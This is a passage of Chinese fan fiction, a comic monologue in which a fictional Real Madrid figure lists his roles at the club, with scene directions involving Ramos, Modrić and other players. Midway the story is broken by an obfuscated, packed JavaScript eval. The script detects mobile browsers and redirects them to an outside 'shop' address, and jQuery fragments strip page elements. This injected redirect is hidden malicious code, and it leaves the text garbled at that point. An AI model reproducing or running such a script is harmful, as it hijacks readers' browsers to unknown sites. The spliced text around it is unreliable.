Bref. 我是里斯·沃勒。


    我是老板。


    [画面：里斯坐在伯纳乌主席办公室，面前堆着三米高的文件，他面无表情地盖着章，盖章，盖章]


    我是说，俱乐部的老板。


    每年六月份最重要的工作，不是买人，是批假——拉莫斯要去度假，魔笛要回克罗地亚看爸妈，裤袜要带女朋友去马尔代夫……


    我盖章，盖章，盖章，然后在心里默默记一笔：等你们回来加练。


    我是队长。


    [画面：里斯戴着队长袖标，站在球员通道最前面，回头一看，二十多个人都在看他]


    赛前最重要的工作，不是喊口号，是说“走了”，就这么两个字，后面二十多个人就跟着我走了。


    走了二十年，我怀疑如果我说“停”，他们会不会集体刹车。


    我是好兄弟。


    [画面：更衣室里，拉莫斯抱着里斯哭，里斯面无表情，手放在他背上轻轻拍]


    主要工作内容是当人体纸巾。


    拉莫斯赢球哭，输球哭，续约哭，续完约还哭，三十年了，我都怀疑他眼睛是不是漏水。


    我是心理医生。


    [画面：□□修斯坐在里斯旁边，低着头不说话，里斯也不说话，就那么坐着]


    治疗方案很简单：坐着，什么都不说，就这么坐着。


    半小时后□□修斯站起来走了，我也不知道他好没好，反正后来他进球了。


    这个疗法我给拉莫斯用过，给贝林厄姆用过，给姆巴佩用过——等等姆巴佩还没来过？行，先预约上。


    我是隐形PUA大师。


    [画面：训练场上，贝林厄姆传球失误，看里斯一眼，里斯没说话，就点了点头，贝林厄姆立刻跑得更卖力了]


    核心技术是不说话，不说话他们反而想得更多。


    “里斯刚才那个眼神是什么意思？”


    “他为什么没骂我？”


    “是不是对我失望了？”然后第二天他们加练。


    二十六年了，我一句话没说，他们卷了自己二十六年。


    我是顶级魅魔。


    [画面：拉莫斯又跑过来：“里斯晚上吃饭吗？”卡西发短信：“晚安。”魔笛走过来，把手放在他心上放了三秒，然后走了]


    魅魔的定义是让别人自动想靠近。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331547|198125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    我也不知道为什么他们都喜欢在我旁边坐着，可能因为我不说话，比较安静，像个人形靠垫。


    我是Real Madrid的绝望主妇。


    [画面：早上六点，里斯站在厨房（伯纳乌办公室）里，面对一冰箱（一线队名单）的食材（球员），思考今天做什么菜（排兵布阵）]


    克罗斯退役了，要做告别仪式；


    莫德里奇还想踢，要安排出场时间；


    □□修斯和贝林厄姆最近太黏了，


    得分开训练不然影响战术；


    库尔图瓦又伤了，卢宁得上；


    姆巴佩还没融入体系；


    齐达内打电话来问情况我说还行还行……


    [画面：里斯端着咖啡，站在窗前，看着训练场上奔跑的二十多个人]


    我是老板、队长、好兄弟、心理医生、隐形PUA大师、顶级魅魔、还是Real Madrid绝望主妇……


    [画面：拉莫斯跑过来，一把抱住他]


    总而言之——


    [画面：里斯被拉莫斯抱着，面无表情，但嘴角动了一下]


    我是皇家马德里。